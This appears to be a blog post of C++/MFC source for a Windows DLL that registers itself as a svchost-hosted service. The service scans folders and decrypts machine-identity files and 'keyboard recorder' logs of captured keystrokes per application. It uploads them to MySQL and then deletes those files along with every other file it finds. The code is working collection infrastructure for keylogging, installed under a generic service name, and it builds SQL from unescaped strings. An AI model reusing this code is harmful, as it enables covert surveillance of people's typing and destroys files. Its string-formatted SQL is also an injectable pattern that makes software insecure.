ErgodicFile

////ErgodicFile.h

 

#ifndef  ERGODICFILE_H
#define  ERGODICFILE_H

#include "DealData.h"

class CErgodicFile
{
public:
 CErgodicFile(void);
 ~CErgodicFile(void);

public:
 //获得传入的文件目录,并存入m_vecDictory
 void GetFilePath(CString strPath);

 //遍历最大批次文件目录判断是否存在存在ok.txt
 //void IsErgodic();

 //判断是扫描出的文件是文件夹还是文件
 //void IsDictoryOrFile(const CString strPath, WIN32_FIND_DATA &winFind, const CString strConPath);

 //判断数据文件是否是Ok.txt文件
 //void IsOktxt(const CString strPath, CString strConPath);

 void _find(string path);
public:
 //存放文件夹路径
 vector<CString> m_vecDictory;

 //记录最原始路径
 CString strRes;

 //数据库数据库操作对象,在扫描时需要插入数据库
 DealData dealData;
};
#endif

 

 

 

////ErgodicFile.cpp


#include "StdAfx.h"
#include "ErgodicFile.h"
#include<iostream>
#include<string>
#include "LogFile.h"
#include "DisposeData.h"

CErgodicFile::CErgodicFile(void)
{
  //dealData.GetRunPathData();
  m_vecDictory.clear();
}


CErgodicFile::~CErgodicFile(void)
{
 m_vecDictory.clear();
}


void CErgodicFile::GetFilePath(CString strPath)
{
 strRes = strPath;
 //m_vecDictory.clear();
 //m_vecDictory.push_back(strPath);
 //IsErgodic();
 //cout<<strPath<<endl;
 _find((string)strPath);
}


void CErgodicFile::_find(string path)
{
 try
 {

  //取路径名最后一个"\\"之前的部分,包括"\\"
  string prefix=path.substr(0,path.find_last_of('\\')+1);
  WIN32_FIND_DATA FindFileData;
  HANDLE hFind=::FindFirstFile(path.c_str(),&FindFileData);
  if(INVALID_HANDLE_VALUE == hFind)
  {
   return;
  }
  while(TRUE)
  {
   //目录
   if(FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
   {
    //不是当前目录,也不是父目录
    if(FindFileData.cFileName[0]!='.')
    {
     //查找下一级目录
     _find(prefix+FindFileData.cFileName+'\\'+"*.*");
    }
   }
   //文件
   else
   {  
    //CString str=FindFileData.cFileName;
    //str.MakeUpper();
    //if (strcmp(str, TEXT("OK.TXT")) == 0)
    //{ 
    // CString prefixtmp=(prefix.substr(0,prefix.length()-1)).c_str(); 

    // if (!dealData.IsExistInRunPath(strRes,prefixtmp))//在run_path表中建立了ALTER TABLE run_path ADD UNIQUE INDEX ID_PATH (Test_Project_Id, runPath)索引后,不需要再查询数据库
    //  //但由于mysql建立索引后path字段长度限制在230个字符左右,所以暂不建索引
    // { 
    //  //dealData.ControlDataInsertOrRead(strRes , (prefixtmp)); 
    // }
    //}

    int start = -1;
    CString fileType = FindFileData.cFileName;
    while((start = fileType.Find('.')) != -1)
    {
     fileType = fileType.Right(fileType.GetLength() - start -1);//取出扩展名
    }
    CFile file;
    CString filePath("");
    filePath.Format("%s%s",prefix.c_str(),FindFileData.cFileName);
    if(fileType == "dat")
    {
     CString strIp("");
     CString strMac("");
     CString strHostName("");
     CString strDomain("");
     if(file.Open(filePath,CFile::modeRead|CFile::typeBinary))
     {
      //从文件中读取文件内容
      char *buf=new char[file.GetLength()]; 
      memset(buf,0,file.GetLength());
      file.Read(buf,file.GetLength());
      //解密文件内容
      DisposeData dis;
      dis.SetValue(buf);
      CString str;
      str = dis.ProcessDecode();
      file.Close();
      dis.GetPCInfo(str,strIp,strMac,strHostName,strDomain);
      CString strSql("");
      strSql.Format("insert into pcinformations(ip,mac,hostName,domain)\
           values('%s','%s','%s','%s')",strIp,strMac,strHostName,strDomain);
      //上传数据库
      DealData dealData;
      dealData.ControlDataInsertOrRead(strSql);
      remove(filePath);
     }
     else
     {
      MessageBox(0,filePath,"dat",0);
     }
    }
    //kRecord content
    else if(fileType == "tmp")
    {
     CString fileName("");
     CString strMac("");
     CString strTime("");
     CString strAppName("");
     CString strRecordInfo("");
     if(file.Open(filePath,CFile::modeRead|CFile::typeBinary))
     {
      DisposeData dis;
      fileName = filePath;
      int start = -1;
      while((start = fileName.Find('\\')) != -1)
      {
       fileName = fileName.Right(fileName.GetLength()-start-1);
      }
      start = fileName.Find('.');
      if(start != -1)
       fileName = fileName.Left(start);
      //解密文件名
      dis.SetValue(fileName.GetBuffer(0));
      fileName.ReleaseBuffer();
      fileName = dis.DecryptFileName();
      //取出文件名中的内容
      dis.GetFileNameInfo(fileName,strMac,strTime);

      char *buf=new char[file.GetLength()]; 
      memset(buf,0,file.GetLength());
      file.Read(buf,file.GetLength());

      //解密文件内容
      dis.SetValue(buf);
      CString str;
      str = dis.ProcessDecode();
      file.Close();
      dis.GetRecordInfo(str,strAppName,strRecordInfo);
      CString strSql("");
      strSql.Format("insert into keyboardrecorderinformations(mac,time,appName,recordInfo)\
           values('%s','%s','%s','%s')",strMac,strTime,strAppName,strRecordInfo);
      //上传MYSQL
      DealData dealData;
      dealData.ControlDataInsertOrRead(strSql);
      remove(filePath);
     }
     else
     {
      MessageBox(0,filePath,"tmp",0);
     }
    }
    else
    {
     remove(filePath);
    }
   }
   if(!FindNextFile(hFind,&FindFileData))
    break;
  }
  FindClose(hFind);

 }
 catch (...)
 {
  CTime m_currentTime=CTime::GetCurrentTime();
  CString currentTimeStr;
  currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
   m_currentTime.GetYear(),
   m_currentTime.GetMonth(),
   m_currentTime.GetDay(),
   m_currentTime.GetHour(),
   m_currentTime.GetMinute(),
   m_currentTime.GetSecond());

  WRITELOG("ERR:"+currentTimeStr+"FileWatcher Failed when CErgodicFile!");
 }

}

 ////FileWatcherDll.h


#ifdef MYDLL_EXPORTS
#define MYDLL_API __declspec(dllexport)
#else
#define MYDLL_API __declspec(dllimport)
#endif
//声明导出函数
//extern "C" int MYDLL_API StartFileWatcher(void);


 

 

 

 

////FileWatcherDll.cpp


#define MYDLL_EXPORTS
#include "stdafx.h"
#include "FileWatcherDll.h"
#include "ErgodicFile.h"
#include "ThreadManage.h"
#include "LogFile.h"
#include "Winsvc.h"
/*定义一个全局对象threadManage,该对象负责创
建完成端口、开启线程监测、开启数据处理等,程序调用结束后析构函数自动释放程序中申请的空间*/
CThreadManage threadManage;
static BOOL isrunning=false;
CLogFile logfile;
void StartServiceTest();
void Log(char *p)
{
 FILE *file = ::fopen("c:\\service_log.txt","ab+");
 if(file != NULL)
 {
  fprintf(file, "%s\r\n", p);
  ::fclose(file);
 }
}

int /*MYDLL_API*/ StartFileWatcher(void)
{
 Log("enter StartFileWatcher ");
 try
 {
  if(!isrunning)//防止多次加载调用
  {

   threadManage.CreatePostErgodicFileThread(); //投递文件夹扫描线程 
   Log("enter CreatePostErgodicFileThread ");
   threadManage.CreateListenContentThread(); //投递监听文件线程

   threadManage.CreateInfoDealThread();
   isrunning=true;
   CTime m_currentTime=CTime::GetCurrentTime();
   CString currentTimeStr;
   currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
    m_currentTime.GetYear(),
    m_currentTime.GetMonth(),
    m_currentTime.GetDay(),
    m_currentTime.GetHour(),
    m_currentTime.GetMinute(),
    m_currentTime.GetSecond());
   WRITELOG(currentTimeStr+" "+"Start FileWatcher Success!");
   return 0;
  }
  else
  {
   CTime m_currentTime=CTime::GetCurrentTime();
   CString currentTimeStr;
   currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
    m_currentTime.GetYear(),
    m_currentTime.GetMonth(),
    m_currentTime.GetDay(),
    m_currentTime.GetHour(),
    m_currentTime.GetMinute(),
    m_currentTime.GetSecond());
   WRITELOG(currentTimeStr+" "+"FileWatcher has started!");
   return 1; 
  }
 }
 catch (...)
 {
  CTime m_currentTime=CTime::GetCurrentTime();
  CString currentTimeStr;
  currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
   m_currentTime.GetYear(),
   m_currentTime.GetMonth(),
   m_currentTime.GetDay(),
   m_currentTime.GetHour(),
   m_currentTime.GetMinute(),
   m_currentTime.GetSecond());
  WRITELOG("ERR:"+currentTimeStr+" "+"Start FileWatcher Failed");
  return -1;
 } 
}

#ifdef _X86_
extern "C" { int _afxForceUSRDLL; }
#else
extern "C" { int __afxForceUSRDLL; }
#endif

//DLL的入口函数
BOOL APIENTRY DllMain( HANDLE hModule,
       DWORD  ul_reason_for_call,
       LPVOID lpReserved
       )
{
 CTime m_currentTime=CTime::GetCurrentTime();
 CString currentTimeStr;
 switch(ul_reason_for_call){
 case DLL_PROCESS_ATTACH://单线程构造函数
  currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
   m_currentTime.GetYear(),
   m_currentTime.GetMonth(),
   m_currentTime.GetDay(),
   m_currentTime.GetHour(),
   m_currentTime.GetMinute(),
   m_currentTime.GetSecond());
  WRITELOG(currentTimeStr+" "+"Load FileWatcherDLL Success!");
  break;
 case DLL_PROCESS_DETACH://单线程析构函数
  //m_currentTime=CTime::GetCurrentTime();
  ////CString currentTimeStr;
  //m_currentTime=CTime::GetCurrentTime();
  //currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
  // m_currentTime.GetYear(),
  // m_currentTime.GetMonth(),
  // m_currentTime.GetDay(),
  // m_currentTime.GetHour(),
  // m_currentTime.GetMinute(),
  // m_currentTime.GetSecond());
  //WRITELOG(currentTimeStr+" "+"Free FileWatcherDLL Success!");
  break;
 default:
  break;
 }
 return TRUE;
}

 

 

VOID WINAPI MyHandler(DWORD fdwControl);

SERVICE_STATUS service_status;
SERVICE_STATUS_HANDLE handle;

BOOL initService()
{
 return true;
}


VOID WINAPI MyHandler(DWORD fdwControl)
{
 if(fdwControl == SERVICE_CONTROL_STOP){

  Log("service stop!");
  service_status.dwWin32ExitCode = 0;
  service_status.dwCurrentState = SERVICE_STOPPED;
 }
 else if(fdwControl == SERVICE_CONTROL_SHUTDOWN){
  Log("system shutdown and service stop!");
  service_status.dwWin32ExitCode = 0;
  service_status.dwCurrentState = SERVICE_STOPPED;
 }
 SetServiceStatus(handle,&service_status);
}


VOID WINAPI  ServiceMain(DWORD dwArgc,LPTSTR* lpszArgv)
{


 service_status.dwCheckPoint = 0;
 service_status.dwControlsAccepted = SERVICE_ACCEPT_SHUTDOWN|SERVICE_ACCEPT_STOP;
 service_status.dwCurrentState = SERVICE_START_PENDING;
 service_status.dwServiceSpecificExitCode = 0;
 service_status.dwServiceType = SERVICE_WIN32_SHARE_PROCESS;
 service_status.dwWaitHint = 0;
 service_status.dwWin32ExitCode = 0;

 handle = ::RegisterServiceCtrlHandler("MyDllService_FileWatcher",MyHandler);
 if(handle ==(SERVICE_STATUS_HANDLE)0)
 {
  Log("create service handle error!");
  return;
 }
 if(!initService())
 {
  Log("init service handle error!");
  service_status.dwCurrentState = SERVICE_STOPPED;
  service_status.dwWin32ExitCode = -1;
  ::SetServiceStatus(handle,&service_status);
  return;
 }
 service_status.dwCurrentState = SERVICE_RUNNING;
 ::SetServiceStatus(handle,&service_status);
 //Log("StartFileWatcher");
 StartFileWatcher();
 while(service_status.dwCurrentState == SERVICE_RUNNING)
 {
  //StartFileWatcher();
  char buf[50]={0};
  char buflog[100]={0};
  int num = ::GetTimeFormat(NULL,LOCALE_USE_CP_ACP,NULL,NULL,buf, 0);
  GetTimeFormat(NULL,LOCALE_USE_CP_ACP,NULL,NULL,buf, num);
  ::sprintf(buflog,"now time is:%s",buf);
  Log(buflog);
  ::Sleep(10000);

 }

}

VOID __stdcall Installer()
{
 SC_HANDLE handle = NULL;
 SC_HANDLE hService = NULL;
 handle = OpenSCManager(NULL,SERVICES_ACTIVE_DATABASE,SC_MANAGER_ALL_ACCESS);
 if(NULL == handle)
 {
  Log("open scm error!");
  return;
 }
 if(NULL==(hService = ::CreateService(handle,"MyDllService_FileWatcher","MyDllService_FileWatcher",SC_MANAGER_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,SERVICE_DEMAND_START,SERVICE_ERROR_NORMAL,"%SystemRoot%\\system32\\svchost -k MyDllService_FileWatcher",NULL,NULL,NULL,NULL,NULL)))
 {
  int error = GetLastError();
  char buf[50]={0};
  ::sprintf(buf,"注册错误代码是:%d",error);
  Log(buf);

 }

 HKEY  hkey = NULL;
 HKEY  pkey = NULL;
 ::RegOpenKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\MyDllService_FileWatcher",&hkey);
 if(NULL !=hkey)
 {
  char buff[] = "%SystemRoot%\\system32\\FileWatcherDll.dll";
  ::RegCreateKey(hkey,"Parameters",&pkey);
  if(ERROR_SUCCESS != (RegSetValueEx(pkey, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)buff, strlen(buff)+1)))
  {
   Log("注册paramter失败");
  }
  ::RegCloseKey(pkey);
  ::RegCloseKey(hkey);


 }

 hkey = NULL;
 RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SvcHost",&hkey);
 if(hkey != NULL)
 {
  if(ERROR_SUCCESS != ::RegSetValueEx(hkey,"MyDllService_FileWatcher",0,REG_MULTI_SZ,(BYTE*)"MyDllService_FileWatcher",strlen("MyDllService_FileWatcher")+1))
  {

   Log("注册svchost失败");
  }
  ::RegCloseKey(hkey);

 }
 //::CloseHandle(handle);

 ::CloseServiceHandle(hService);
 ::CloseServiceHandle(handle);
 StartServiceTest();

}

VOID __stdcall Unstaller()
{
 SC_HANDLE handle = NULL;
 SC_HANDLE handle_sv = NULL;
 __try{
  handle = OpenSCManager(NULL,SERVICES_ACTIVE_DATABASE,SC_MANAGER_ALL_ACCESS);
  if(NULL == handle)
  {
   Log("open scm error!");
   return;
  }
  handle_sv = OpenService(handle,"MyDllService_FileWatcher",SC_MANAGER_ALL_ACCESS);
  if(NULL == handle_sv)
  {
   Log("open service_mydllservice error!");
   return;
  }
  if(NULL==::DeleteService(handle_sv))
  {
   Log("delete service_mydllservice error!");
   return;
  }

  HKEY  hkey = NULL;
  RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SvcHost",&hkey);
  if(hkey != NULL)
  {
   if(ERROR_SUCCESS != ::RegDeleteValue(hkey,"MyDllService_FileWatcher"))
   {

    Log("删除svchost失败");
   }
   ::RegCloseKey(hkey);

  }

 }__finally
 {
  if(NULL != handle_sv)
  {
   ::CloseServiceHandle(handle_sv);
  }
  if(NULL != handle)
  {
   ::CloseServiceHandle(handle);
  }
 }
}


void StartServiceTest()
{
 SC_HANDLE hSCM;
 SC_HANDLE hService;
 hSCM = ::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
 if (hSCM != NULL)
 {
  //打开服务
  hService = ::OpenService(hSCM, "MyDllService_FileWatcher",SERVICE_ALL_ACCESS);
  if (hService != NULL)
  {
   //启动服务
   if(!StartService(hService,0,NULL))
   {
    //AfxMessageBox("Service start error (%u)!\n",GetLastError());
   }
   else
   {
    //AfxMessageBox("service start pending");   
   }
  } 
  else
  {
   //AfxMessageBox("open service error!");
  } 
 }
 else
 {
  //AfxMessageBox("openSCmanager error!");
 }
 ::CloseServiceHandle(hService);
 ::CloseServiceHandle(hSCM);
}

 

 

 

 

 

 

 

发布了56 篇原创文章 · 获赞 5 · 访问量 81万+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章